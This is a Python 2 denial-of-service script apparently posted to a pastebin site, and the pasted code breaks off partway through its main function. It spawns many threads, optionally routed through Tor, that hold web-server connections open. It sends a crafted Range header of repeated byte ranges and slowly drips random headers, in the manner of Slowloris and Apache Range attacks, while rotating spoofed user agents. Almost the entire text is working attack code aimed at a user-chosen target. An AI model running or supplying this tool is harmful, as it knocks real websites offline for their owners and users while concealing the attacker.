- import os
- import re
- import time
- import sys
- import random
- import math
- import getopt
- import socks
- import string
- import terminal
- from threading import Thread
- global stop_now
- global term
- stop_now = False
- term = terminal.TerminalController()
- useragents = [
- "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
- "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)",
- "Opera/9.20 (Windows NT 6.0; U; en)",
- "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)",
- "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)",
- "Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0",
- "Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16",
- "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13",
- "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)",
- "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
- "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
- "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
- "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
- "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8",
- "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7"
- ]
- class httpPost(Thread):
- def __init__(self, host, port, tor):
- Thread.__init__(self)
- self.host = host
- self.port = port
- self.socks = socks.socksocket()
- self.tor = tor
- self.running = True
- def _send_http_post(self, pause=10):
- global stop_now
- self.socks.send("GET / HTTP/1.1\r\n"
- "Host: %s\r\n"
- "User-Agent: %s\r\n"
- "Connection: keep-alive\r\n"
- "Keep-Alive: 900\r\n"
- "Range: bytes=0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-,0-"
- "Accept-Encoding: gzip, deflate, compress" %
- (self.host, random.choice(useragents)))
- for i in range(0, 9999):
- if stop_now:
- self.running = False
- break
- p = "X-"+random.choice(string.letters+string.digits)+random.choice(string.letters+string.digits)+random.choice(string.letters+string.digits)+random.choice(string.letters+string.digits)+": "+random.choice(string.letters+string.digits)
- print term.BOL+term.UP+term.CLEAR_EOL+"HEADER: %s" % p+term.NORMAL
- self.socks.send(p+"\r\n")
- time.sleep(random.uniform(30, 40))
- self.socks.close()
- def run(self):
- while self.running:
- while self.running:
- try:
- if self.tor:
- self.socks.setproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
- self.socks.connect((self.host, self.port))
- print term.BOL+term.UP+term.CLEAR_EOL+"Connected to host..."+ term.NORMAL
- break
- except Exception, e:
- if e.args[0] == 106 or e.args[0] == 60:
- break
- print term.BOL+term.UP+term.CLEAR_EOL+"Error connecting to host..."+ term.NORMAL
- time.sleep(1)
- continue
- while self.running:
- try:
- self._send_http_post()
- except Exception, e:
- if e.args[0] == 32 or e.args[0] == 104:
- print term.BOL+term.UP+term.CLEAR_EOL+"Thread broken, restarting..."+ term.NORMAL
- self.socks = socks.socksocket()
- break
- time.sleep(0.1)
- pass
- def usage():
- print "./ch.py -t <target> [-r <threads> -p <port> -T -h]"
- print " -t|--target <Hostname|IP>"
- print " -r|--threads <Number of threads> Defaults to 256"
- print " -p|--port <Web Server Port> Defaults to 80"
- print " -h|--help Shows this help\n"
- print "Eg. ./ch.py -t 192.168.1.100 -r 256\n"
- def main(argv):
- try:
- opts, args = getopt.getopt(argv, "hTt:r:p:", ["help", "tor", "target=", "threads=", "port="])
- except getopt.GetoptError:
- usage()
- sys.exit(-1)
- global stop_now
- target = ''
- threads = 256
- tor = False
- port = 80
Posted by pewpew on Saturday 22nd October 2011 19:18:12 - Never Expires
download | new post
Submit a correction or amendment below. (click here to post a fresh rage)
After submitting an amendment, you'll be able to view the differences between the old and new rage easily.